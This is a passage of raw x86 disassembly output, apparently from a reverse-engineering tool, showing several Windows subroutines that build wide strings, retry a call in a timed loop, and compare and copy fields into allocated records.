		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27C0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 27C0000h
		nop
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
